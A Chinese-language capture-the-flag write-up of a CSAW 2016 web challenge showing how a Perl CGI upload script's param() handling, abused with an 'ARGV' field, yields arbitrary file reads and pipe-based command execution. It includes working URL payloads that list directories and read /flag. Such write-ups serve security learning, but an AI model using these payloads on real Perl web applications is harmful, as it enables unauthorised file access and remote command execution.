題目來源:csaw-ctf-2016-quals
題目描述:嗯。。我剛建好了一個網站
進入場景后有3個鏈接,點進去都是.pl文件,.pl文件都是用perl編寫的網頁文件。
嘗試后發現,Files鏈接可以上傳文件並把文件內容打印出來。猜想后台應該用了param()函數。
param()函數會返回一個列表的文件但是只有第一個文件會被放入到下面的接收變量中。如果我們傳入一個ARGV的文件,那么Perl會將傳入的參數作為文件名讀出來。對正常的上傳文件進行修改,可以達到讀取任意文件的目的。
這里附上網上大佬們猜測的后台代碼:
use strict; use warnings; use CGI; my $cgi= CGI->new; if ( $cgi->upload( 'file' ) ) { my $file= $cgi->param( 'file' ); while ( <$file> ) { print "$_"; } }
fiddler進行抓包,將上傳的文件類型及文件內容處復制再粘貼一行,將filename去掉,然后內容填入ARGV
然后盲猜flag文件,讀取試試
或者直接先讀取file.pl文件,盲猜在/var/www/cgi-bin/file.pl試試
發現確實使用了param()函數,然后我們利用bash來進行讀取當前目錄下的文件。
payload為
/cgi-bin/file.pl?/bin/bash%20-c%20ls${IFS}/|
%20為空格,可換成+號
看了大佬的解釋為
通過管道的方式,執行任意命令,然后將其輸出結果用管道傳輸到讀入流中,這樣就可以保證獲取到flag文件的位置了。這里用到了${IFS}來作命令分割,原理是會將結果變成bash -c "ls/"的等價形式。
列出了當前目錄下的內容,發現flag,直接讀取。
當然其實還有一種更簡單的方法,參考:https://www.cnblogs.com/zhengna/p/12381759.html
首先查看當前目錄下的文件,發現當前目錄下沒有flag文件。payload為
/cgi-bin/file.pl?ls%20-l%20.%20|
即執行ls -l . |命令
然后查看file.pl的源代碼,發現確實使用了param()函數。payload為
/cgi-bin/file.pl?./file.pl
接着繼續尋找flag文件,查看根目錄,發現flag。payload為
/cgi-bin/file.pl?ls%20-l%20/%20|
最后讀取flag即可。payload為
/cgi-bin/file.pl?/flag #直接讀取/flag文件內容 或者 /cgi-bin/file.pl?cat%20/flag%20| #使用命令讀取/flag文件內容
總結:perl文件遇到上傳可配合ARGV文件使用造成任意文件讀取或者任意命令執行(需要在命令最后添加管道符)